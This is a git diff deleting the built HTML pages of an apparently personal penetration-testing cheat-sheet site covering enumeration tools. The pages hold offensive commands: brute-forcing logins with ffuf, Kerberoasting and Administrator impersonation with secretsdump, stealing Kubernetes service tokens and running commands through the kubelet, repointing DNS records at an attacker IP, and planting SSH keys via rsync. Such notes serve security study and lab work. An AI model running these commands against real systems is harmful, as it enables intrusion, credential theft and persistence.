diff --git a/build/enumeration/docs/aws.html b/build/enumeration/docs/aws.html deleted file mode 100644 index df4d407..0000000 --- a/build/enumeration/docs/aws.html +++ /dev/null @@ -1,299 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

AWS S3 Enumeration

-

Usage

- -

Simple Storage Service (S3)

- -
http://<bucketname>.s3.amazonaws.com/file.name
-
- -

or

-
http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext
-
- -
    -
  • List content of public bucket via
    • -
-
aws s3 ls s3://<bucketname>/ --no-sign-request
-
- -
    -
  • Download via curl, wget or s3 cli via
    • -
-
aws s3 cp s3://<bucketname>/foo_public.xml . --no-sign-request
-
- -

ACL

-
    -
  • Anyone, just curl
    • -
  • AuthenticatedUsers, s3 cli with aws key
    • -
-

IAM

-
    -
  • Not necessarily used by s3
    • -
  • Access key ID, starts with AKIA + 20 chars
    • -
  • Secret access key
    • -
  • -

    Session token, ASIA + sessionToken

    -
    • -
  • -

    Add credentials to profile via

    -
    • -
-
aws configure --profile PROFILENAME
-
- -
    -
  • Config and credentials is stored at ~/.aws
    • -
  • Sanity test profile via
    • -
-
aws s3 ls --profile PROFILENAME
-
- -
    -
  • Find account ID to an access key
    • -
-
aws sts get-access-key-info --access-key-id AKIAEXAMPLE
-
- -
    -
  • Find username to an access key
    • -
-
aws sts get-caller-identity --profile PROFILENAME
-
- -
    -
  • Listing EC2 instances of an account
    • -
-
aws ec2 describe-instances --output text --profile PROFILENAME
-
- -
    -
  • aws ec2 describe-instances --output text --profile PROFILENAME
    • -
-
aws ec2 describe-instances --output text --profile PROFILENAME
-
- -
* In another region
-
- -
aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME
-
- -

AWS ARN

-
    -
  • Unique ID is create via the following scheme
    • -
-
arn:aws:<service>:<region>:<account_id>:<resource_type>/<resource_name>
-
- -

Secrets

-
aws secretsmanager help
-aws secretsmanager list-secrets
-ws secretsmanager get-secret-value --secret-id <Name> --region <region>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/cewl.html b/build/enumeration/docs/cewl.html deleted file mode 100644 index 2205819..0000000 --- a/build/enumeration/docs/cewl.html +++ /dev/null @@ -1,180 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Cewl

-
    -
  • Wordlist generator from website
    • -
  • CeWl repo
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/dns.html b/build/enumeration/docs/dns.html deleted file mode 100644 index afaaca0..0000000 --- a/build/enumeration/docs/dns.html +++ /dev/null @@ -1,206 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

DNS

-

Subdomain Enumeration

-
    -
  • Get all the info via
    • -
-
dig     @$TARGET_DNS $DOMAIN axfr
-drill   @$TARGET_DNS $DOMAIN axfr
-
- - -

Join a Domain

-
    -
  • Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk
    • -
-
nsupdate
-server <DNS-IP>
-update delete <sub.domain.com>
-update add <sub.domain.com> 1234 A $ATTACKER_IP
-send
-quit
-
- -
    -
  • Check domain by querying the subdomain's A record via dig/drill/nslookup
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/docker_enumeration.html b/build/enumeration/docs/docker_enumeration.html deleted file mode 100644 index 19067db..0000000 --- a/build/enumeration/docs/docker_enumeration.html +++ /dev/null @@ -1,205 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Docker Enumeration

-

Save Images

-
    -
  • Save image and extract it
    • -
-
docker save -o image.tar <image-name>
-tar -xf image.tar
-
- -
    -
  • Run a container from the image and printenv
    • -
-

Manifest

-
    -
  • Read the manifest inside the image extracted
    • -
-
jq . manifest.json
-
- -
    -
  • Read the config JSON file mentioned in the manifest
    • -
  • Inside this config file there are the shell commands used at building the image
    • -
  • Snoop around after interesting files, especially inside the root dir in layer.tar
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/ffuf.html b/build/enumeration/docs/ffuf.html deleted file mode 100644 index 10fc0dc..0000000 --- a/build/enumeration/docs/ffuf.html +++ /dev/null @@ -1,250 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Fuzz Faster U Fool

-

Usage

-
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt
-
- -
    -
  • Fuzz dirs
    • -
-
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
-
- -
    -
  • Fuzz files
    • -
-
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt
-
- -

Fuzz parameters

-
ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 39
-ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fw 39
-
- -
    -
  • Fuzz values
    • -
-
seq 0 255 | fuff -u 'http://<IP>/sqli-labs/Less-1/?id=FUZZ -c -w - -fw 33
-
- -
    -
  • Fuzz Post Methods
    • -
-
ffuf -u http://<IP>/sqli-labs/Less-11/ -c -w /usr/share/seclists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded'
-
- -

Fuzz Users and use Bruteforce

-
    -
  • Fuzz users and write file
    • -
-
ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://<targetURL>/customers/signup -mr "username already exists" -o fuff.out
-
- -
    -
  • Use users saved in fuff.out to bruteforce
    • -
-
ffuf -w userlist.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://<targetURL>/customers/login -fc 200
-
- -

Fuzz Subdomains

-
ffuf -u http://FUZZ.test.com -c -w  /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
-
- -

or if the subdomains are listed in the target's host file

-
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.test.com" -u http://<target-IP> -fs 0
-
- -
    -
  • Fuzz Vhosts & Server Blocks
    • -
-
ffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
-ffuf -u http://test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.test.com' -fs 0
-
- -

Proxy

-
    -
  • -replay-proxy <IP> or -x <ProxyIP>
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/gobuster.html b/build/enumeration/docs/gobuster.html deleted file mode 100644 index 9d880a2..0000000 --- a/build/enumeration/docs/gobuster.html +++ /dev/null @@ -1,231 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Gobuster

-

Repo

-

Directories

-
gobuster dir -u <URL> -w <wordlist>
-
- -

DNS

-
gobuster dns -d <domainName> -w <wordlist> --show-cname --show-ips --resolver <dns-Server>
-
- -

Vhosts

-
    -
  • Find other Domains on a host via seclists/Discovery/DNS/subdomains-top1million-5000.txt
    • -
-
gobuster vhost -u <URL> -w <wordlist> 
-
- -

FileExtension

-
-x
-
- -
    -
  • Fuzz for files and file extensions
    • -
-
gobuster dir -u <URL> -w /usr/share/seclists/Discovery/raft-small-word-lowercase.txt -x .conf,.js
-
- -

Basic Auth

-
gobuster help dir
-
- -
    -
  • -

    --username and --password

    -
    • -
  • -

    dir -s Accept HTTP Status

    -
    • -
  • dir -k Skip TLS Auth
    • -
  • dir -a User Agent
    • -
-

Wordlists

-
/usr/share/seclists/Discovery/Web-Content/common.txt
-/usr/share/seclists/Discovery/Web-Content/big.txt
-/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
-/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
-/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/kerberoast.html b/build/enumeration/docs/kerberoast.html deleted file mode 100644 index 778d01c..0000000 --- a/build/enumeration/docs/kerberoast.html +++ /dev/null @@ -1,236 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Kerberoast

-

Usage

-

List users

-
kerbrute userenum -d $DOMAIN --dc $TARGET_IP $USER_LIST
-
- -

Get Users

-
    -
  • Impacket's GetNPUsers.py to get Hashes of userlist
    • -
-
GetNPUsers.py -no-pass <DomainName>/  -usersfile users.txt -format john -outputfile hashes
-
- -

Find SPNs

-
GetUserSPNs.py -request <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP 
-
- -

or

-
pyverview get-netuser -u <USER> -p <PASSWORD> -t <SUBDOMAIN> -d <DOMAIN>
-
- -

Further Intel

-
findDelegation.py -debug <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP
-
- -

Check Found Users

-
    -
  • Use crackmapexec to check access to further user accounts with the password of the user found with GetNPUsers.py
    • -
-
crackmapexec smb $TARGET_IP -u users.txt -p pass.txt
-
- -
* Watch out for `STATUS_PASSWORD_MUST_CHANGE`
-* Change password with
-
- -
smbpasswd.py <user>@$TARGET_IP  -newpass password123
-
- -

Impersonate

-
getST.py -spn <USER>/<SUBDOMAIN> -impersonate Administrator '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip $TARGET_IP
-
- -
    -
  • Serviceticket is save as Administrator.ccache
    • -
  • export KRB5CCNAME=Administrator.ccache
    • -
  • After that dump secrets
    • -
-
secretsdump.py -k -no-pass <DOMAIN> 
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/kubectl.html b/build/enumeration/docs/kubectl.html deleted file mode 100644 index 1db6aeb..0000000 --- a/build/enumeration/docs/kubectl.html +++ /dev/null @@ -1,275 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Kubectl

-
    -
  • Get pods, -A for all namespaces
    • -
-
kubectl get pods -A 
-
- -
    -
  • Check mounted secret
    • -
-
kubectl auth can-i --list
-kubectl get secrets
-kubectl get nodes
-kubectl get deployments
-kubectl get services
-kubectl get ingress
-kubectl get jobs
-
- -
    -
  • Intel about a secret, and output
    • -
-
kubectl describe secrets <secret> 
-kubectl get secret <secret> -o json
-kubectl describe secrets <secret> -o 'json'
-
- -

Abuse Token

-
    -
  • Inside a pod the service token(jwt) can be found under /var/run/secrets/kubernetes.io/serviceaccount/token
    • -
  • By change of an LFI extract the token and
    • -
-
kubectl auth can-i --list --token=$TOKEN
-kubectl get pods  --token=$TOKEN
-kubectl exec -it <pod name> --token=$TOKEN -- /bin/sh
-
- -
    -
  • Do not copy the token around, it will end in a carfuffle of some truncated string most of the time. Just do it in the following way and spare the pain for another day
    • -
-
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
-
- -

Elevate Permissions with found token

-
    -
  • If a token has been found but its permissions on other containers can not be used through kubectl directly, use curl
    • -
-
curl  -k -H "Authorization: Bearer $TOKEN" --data "cmd=id" https://$K8_IP:10250/run/$NAMESPACE/$POD/$CONTAINER
-
- -
* Find namespace and pods
-
- -
kubectl get pods -A
-
- -
* Find name of container inside the pod description under `ContainerStatuses/name`
-
- -
kubectl get pod $POD -n $NAMESPACE -o yaml
-
- -
    -
  • Interesting find in any high priv container are
    • -
-
/run/secrets/kubernetes.io/serviceaccount/token
-/run/secrets/kubernetes.io/serviceaccount/ca.crt
-
- -
    -
  • Enumerate again with the new found token
    • -
-
kubectl auth can-i --list
-
- -

Create Pods

-
    -
  • Use BishopFox's BadPods
    • -
  • If there is no internet connection add imagePullPolicy: IfNotPresent to the YAML file
    • -
-
kubectl apply -f pod.yml --token=$TOKEN
-
- -
    -
  • Start Pod
    • -
-
kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash
-
- -

Start Pods

-
kubectl exec -it  <podname> -n <namespace> -- /bin/bash
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/ldap.html b/build/enumeration/docs/ldap.html deleted file mode 100644 index 7ec83da..0000000 --- a/build/enumeration/docs/ldap.html +++ /dev/null @@ -1,206 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

LDAP

-

Get Domain

-
ldapsearch -H ldap://$TARGET_IP -x -s base namingcontexts
-
- -
    -
  • Use found namingcontexts DC
    • -
-
ldapsearch -H ldap://$TARGET_IP -x -b 'DC=<DC>,DC=<ORG>
-
- -
    -
  • Authenticated LDAP Search
    • -
-
ldapsearch -H ldap://$TARGET_IP -x -b 'DC=<DC>,DC=<ORG>' -D '<DC>\<user>' -W > outfile
-
- -

Domain Dump

-
    -
  • If a set of credentials are known via
    • -
-
ldapdomaindump $TARGET_IP  -u '<domain>\<user>' -p '<password>' --no-json --no-grep
-
- -
    -
  • Take a look at the genreated HTML files
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/linux_basics.html b/build/enumeration/docs/linux_basics.html deleted file mode 100644 index 15f2f92..0000000 --- a/build/enumeration/docs/linux_basics.html +++ /dev/null @@ -1,215 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Linux Basic Enumeration

-
less ~/.bash_history
-
- -
cat /etc/*-release
-cat /proc/version
-uname -a
-
- -
sudo -V
-sudo -L
-
- -
    -
  • Check if is writeable
    • -
-
vim /etc/passwd
-vim /etc/hosts
-
- -
crontab -l
-
- -
    -
  • Find interesting files
    • -
-
find / -perm /6000 2>/dev/null
-find / -perm -u=s -type f 2>/dev/null
-find / -type f -name "*.log" 2>/dev/null
-find / -type f -name "*.bak" 2>/dev/null
-find / -type f -name "*.conf" 2>/dev/null
-
- -
    -
  • Open Sockets
    • -
-
lsof -i
-netstat -natup
-ss -natup
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/microk8s.html b/build/enumeration/docs/microk8s.html deleted file mode 100644 index fd16f67..0000000 --- a/build/enumeration/docs/microk8s.html +++ /dev/null @@ -1,189 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Microk8s

- -

Enumeration

-
microk8s kubectl get nodes
-microk8s kubectl get services
-microk8s kubectl get pods
-microk8s kubectl get deployments -o wide
-microk8s kubectl cluster-info
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/nfs.html b/build/enumeration/docs/nfs.html deleted file mode 100644 index 6e683d0..0000000 --- a/build/enumeration/docs/nfs.html +++ /dev/null @@ -1,180 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

NFS Enumeration

-
    -
  • rpcinfo -p $TARGET_IP
    • -
  • showmount -e $TARGET_IP
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/nikto.html b/build/enumeration/docs/nikto.html deleted file mode 100644 index ebc9301..0000000 --- a/build/enumeration/docs/nikto.html +++ /dev/null @@ -1,213 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Nikto

-

Scan web server vulnerabilities and more.

-

mmap Input

-
    -
  • Pipe or pre run nmap
    • -
-
nmap -p80 172.16.0.0/24 -oG - | nikto -h -
-
- -
nmap -oG -Pn -p-10000 10.10.214.141 | nikto -h 10.10.214.141 -p -
-
- -

Usage

-
    -
  • Example
    • -
-
nikto -h http://example.com i -p 80,8080
-
- -
nikto -id <user>:<password> -h http://example.com:1234/manager/html
-
- -

Plugins

-
nikto -h http://example.com -Plugins apacheusers
-
- -
    -
  • List all plugins
    • -
-
nikto -list-plugins
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/nmap.html b/build/enumeration/docs/nmap.html deleted file mode 100644 index 849c7e3..0000000 --- a/build/enumeration/docs/nmap.html +++ /dev/null @@ -1,337 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

nmap

-

Scan Types

-
    -
  • ARP
    • -
  • ICMP
    • -
  • TCP
    • -
  • UDP
    • -
-

Port States

-
    -
  1. Open
    2. -
  2. Closed
    3. -
  3. Filtered
    4. -
  4. Unfiltered
    5. -
  5. Open|Filtered
    6. -
  6. Close|Filtered
    7. -
-

Usage

-
nmap -oA nmap-full -Pn -sS  -T4  -p- --defeat-rst-ratelimit <IP>
-
- -
nmap  -oA  nmap-vuln -Pn  -script vuln  -p <Port,Port,Port,...> <IP>
-
- -

combo with searchsploit

-
    -
  • nmap-full scan
    • -
-
sudo nmap -oA --nmap-full -sS -sC -sV -p- --defeat-rst-ratelimit <target-IP>
-searchsploit --nmap ./nmap-full.xml --verbose
-
- -

Wordpress Enumeration

-
nmap --script http-wordpress-enum --scripts-args check-latest=true,search-limit=1500 -p 80 test.com
-
- -

Use List of Hosts

-
nmap -iL <ListofHosts>
-
- -
    -
  • Show hosts, dns resolution included
    • -
-
nmap -sL -n 10.10.0.0/16
-
- -

ARP Scan Local Network

-
nmap -PR -sn 192.168.0.0/24
-
- -

ICMP Scans

-
    -
  • Type 8 (Ping Request)
    • -
-
nmap -PE -sn 10.10.0.0/16
-
- -
    -
  • Type 13 (Timestamp Request)
    • -
-
nmap -PP -sn 10.10.0.0/16
-
- -
    -
  • Type 17 (Address Mask Queries)
    • -
-
nmap -PM -sn 10.10.0.0/16
-
- -

TCP Scans

-
    -
  • -PS23 Syn on port 23
    • -
  • -PA80-8080 ACK on port range 80-8080
    • -
-

TCP Scan Types

-
    -
  • Null Scan -sN, port is open when there is no response. Otherwise the response is RST/ACK
    • -
  • FIN Scan -sF , same procedure as null scan.
    • -
  • Xmas Scan -sX, FIN/PSH/URG is sent. RST/ACK when port is closed.
    • -
  • Maimon Scan -sM, sends FIN/ACK. Packet is dropped when port is open. Only viable on old BSD networks.
    • -
  • ACK Scan -sA, sends ACK. Receives RST regardless of the state of the port. May be used to explore firewall rules.
    • -
  • Window Scan -sW, sends ACK, and receives RST as well. Inspects the window part of the response. Used to expose firewall rules.
    • -
  • Custom Scan --scanflags RSTACKFIN, set flags randomly.
    • -
-

UDP SCans

-
    -
  • -PU
    • -
  • May be answered by ICMP Type 3 if the port is not reachable
    • -
-

DNS Scan

-
    -
  • No lookup -n
    • -
  • Reverse lookup for every host -R
    • -
  • Host discovery only -sn
    • -
-

Spoofing

-
    -
  • IP -S <spoofed-IP>
    • -
  • MAC --spoof-mac <spoofed-MAC>
    • -
  • Disable ping scan -Pn
    • -
  • Decoy addresses -D <decoy-IP>,<decoy-IP>,<decoy-IP>,RND,RND,ME
    • -
-

Service Detection

-
    -
  • -sV
    • -
  • --version-intensity <level 0-9>
    • -
  • Intensity 2 --version-light
    • -
  • Intensity 9 --version-all
    • -
-

Scripts

-

Installed at /usr/share/nmap/scripts -* auth Authentication related scripts -* broadcast Discover hosts by sending broadcast messages -* brute Performs brute-force password auditing against logins -* default Default scripts, same as -sC -* discovery Retrieve accessible information, such as database tables and DNS names -* dos Detects servers vulnerable to Denial of Service (DoS) -* exploit Attempts to exploit various vulnerable services -* external Checks using a third-party service, such as Geoplugin and Virustotal -* fuzzer Launch fuzzing attacks -* intrusive Intrusive scripts such as brute-force attacks and exploitation -* malware Scans for backdoors -* safe Safe scripts that wonโ€™t crash the target -* version Retrieve service versions -* vuln Checks for vulnerabilities or exploit vulnerable services

-

Tips & Tricks

-
    -
  • Scan the 100 most interesting ports via -F
    • -
  • --top-ports 100
    • -
  • One probe every 5 minutes via -T0
    • -
  • A closed port responds with RST/ACK to a initial SYN
    • -
  • Scan ports iteratively by using -r, not random
    • -
  • Closed Port
    • -
  • Control packet rate via --min-rate and --max-rate
    • -
  • Control parallel probes via --min-parallelism and --max-parallelism
    • -
  • Fragment packets -f 8 bytes, -ff 16 bytes or --mtu
    • -
  • Zombie Scan -sI <pwnd-device-IP> via pwnd host inside the targets network
    • -
  • --reason, -d, -vv
    • -
  • --traceroute
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/port_knocking.html b/build/enumeration/docs/port_knocking.html deleted file mode 100644 index aa40630..0000000 --- a/build/enumeration/docs/port_knocking.html +++ /dev/null @@ -1,192 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Port Knocking

-
    -
  • Open filtered port behind a firewall by knocking nicely
    • -
-

Usage

-
    -
  • knockd
    • -
-
knock <target-IP> <magicWords>
-
- -

or -* arch wiki nmap script -* nc -z

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/rpcclient.html b/build/enumeration/docs/rpcclient.html deleted file mode 100644 index 0912410..0000000 --- a/build/enumeration/docs/rpcclient.html +++ /dev/null @@ -1,186 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

rpcclient

-
rpcclient -U% $TARGET_IP
-
- -
    -
  • Input commands, attributes count for the current user on the machine
    • -
-
enumdomusers
-enumdomains
-enumprivs 
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/rsync.html b/build/enumeration/docs/rsync.html deleted file mode 100644 index ad46d15..0000000 --- a/build/enumeration/docs/rsync.html +++ /dev/null @@ -1,222 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

rsync

- -

Enumerate

-
rsync <target-IP>::
-rsync <target-IP>::files
-rsync <target-IP>::files/foo/
-
- -

via netcat

-
    -
  • Another way is the following
    • -
-
nc -vn $TARGET_IP 873
-
- -
    -
  • Repeat the identical handshake, e.g.
    • -
-
@RSYNCD: 31.0
-
- -
    -
  • List all directories
    • -
-
#list
-
- -

Downloads

-
rsync <user>@<target-IP>::/files/foo/bar.txt .
-rsync -r <user>@<target-IP>::/files/foo .
-
- -

Uploads

-
rsync authorized_keys <user>@<target-IP>::/files/foo/.ssh/
-rsync -r documents <user>@<target-IP>::/files/foo/
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/rustscan.html b/build/enumeration/docs/rustscan.html deleted file mode 100644 index 3932a61..0000000 --- a/build/enumeration/docs/rustscan.html +++ /dev/null @@ -1,196 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Rustscan

-
    -
  • -

    Rustscan repo

    -
    • -
  • -

    Config at $HOME/.rustscan_scripts.toml

    -
    • -
-

Usage

-
rustscan -r ports -a  <Target-ip> -- <nmap cmds>
-
- -
    -
  • Using nmap parameters
    • -
-
rustscan -a 127.0.0.1 -- -A -sC
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/shodan.html b/build/enumeration/docs/shodan.html deleted file mode 100644 index c92fdeb..0000000 --- a/build/enumeration/docs/shodan.html +++ /dev/null @@ -1,215 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Shodan

-

Checking found Autonomous System Number (ASN)

-
    -
  • Shodan does output ASN, not necessarily the IP of a small company. Search for
    • -
-
asn:AS13335
-
- - - -
    -
  • Example
    • -
-
{
-        "data": "Moxa Nport Device",
-        "Status": "Authentication disabled",
-        "Name": "NP5232I_4728",
-        "MAC": "00:90:e8:47:10:2d",
-        "ip_str": "46.252.132.235",
-        "port": 4800,
-        "org": "Starhub Mobile",
-        "location": {
-                "country_code": "SG"
-        }
- }
-
- -

Filter

-
    -
  • vulns
    • -
-
vuln:ms17-010
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/snmp/onesixtyone.html b/build/enumeration/docs/snmp/onesixtyone.html deleted file mode 100644 index 77c0838..0000000 --- a/build/enumeration/docs/snmp/onesixtyone.html +++ /dev/null @@ -1,187 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

SNMP Enumeration

-
    -
  • Find community strings
    • -
-
onesixtyone $TARGET_IP -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
-
- -
    -
  • Query users
    • -
-
snmpwalk -v2c -c <community_string> $TARGET_IP 1.3.6.1.4.1.77.1.2.25
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/snmp/snmpcheck.html b/build/enumeration/docs/snmp/snmpcheck.html deleted file mode 100644 index 5881605..0000000 --- a/build/enumeration/docs/snmp/snmpcheck.html +++ /dev/null @@ -1,191 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

snmpcheck

- -
cd snmpcheck
-gem install snmp
-chmod 775 snmpcheck-<version>.rb
-
- -

Usage

-
./snmpcheck-<version>.rb $TARGET_IP -c <community-string>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/websites.html b/build/enumeration/docs/websites.html deleted file mode 100644 index 97ca52e..0000000 --- a/build/enumeration/docs/websites.html +++ /dev/null @@ -1,188 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Website Enumeration

-
    -
  • robots.txt
    • -
  • Favicon, curl target and md5sum
    • -
  • sitemap.xml
    • -
  • Headers, curl <site> including -I or -v parameters
    • -
  • Check Components of the website, like blog frameworks, shops.
    • -
  • User Wappalyzer
    • -
  • Snapshots of the site via waybackmachine
    • -
  • Check repos of the site
    • -
  • Check buckets
    • -
  • Fuzz
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/wfuzz.html b/build/enumeration/docs/wfuzz.html deleted file mode 100644 index ed5daaa..0000000 --- a/build/enumeration/docs/wfuzz.html +++ /dev/null @@ -1,181 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Wfuzz

-
    -
  • Fuzz parameters
    • -
-
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt -X POST --hh 45 -u http://<target-IP>/api/items\?FUZZ\=test
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/wpscan.html b/build/enumeration/docs/wpscan.html deleted file mode 100644 index 3397773..0000000 --- a/build/enumeration/docs/wpscan.html +++ /dev/null @@ -1,214 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

WPScan

-

Themes

-
wpscan --url <URL> --enumerate t
-
- -
    -
  • ls for content
    • -
-

Plugins

-
wpscan --url <URL> --enumerate p
-
- -

Users

-
wpscan --url <URL> --enumerate u
-
- -

Vulnerabilities

-
    -
  • WPVulnDB API is needed
    • -
  • Plugins
    • -
-
wpscan --url <URL> --enumerate vp
-
- -

Password attack

-
wpscan --url <URL> --passwords <wordlist> --usernames <usersFromEnumeration>
-
- -

WAF Aggressiveness

-

```sh -wpscan --url --enumerate p --plugins-detection

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/bloodhound.html b/build/enumeration/windows/bloodhound.html deleted file mode 100644 index b398c00..0000000 --- a/build/enumeration/windows/bloodhound.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Bloodhound

-
    -
  • DNS
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/event_log.html b/build/enumeration/windows/event_log.html deleted file mode 100644 index d2d9e81..0000000 --- a/build/enumeration/windows/event_log.html +++ /dev/null @@ -1,294 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
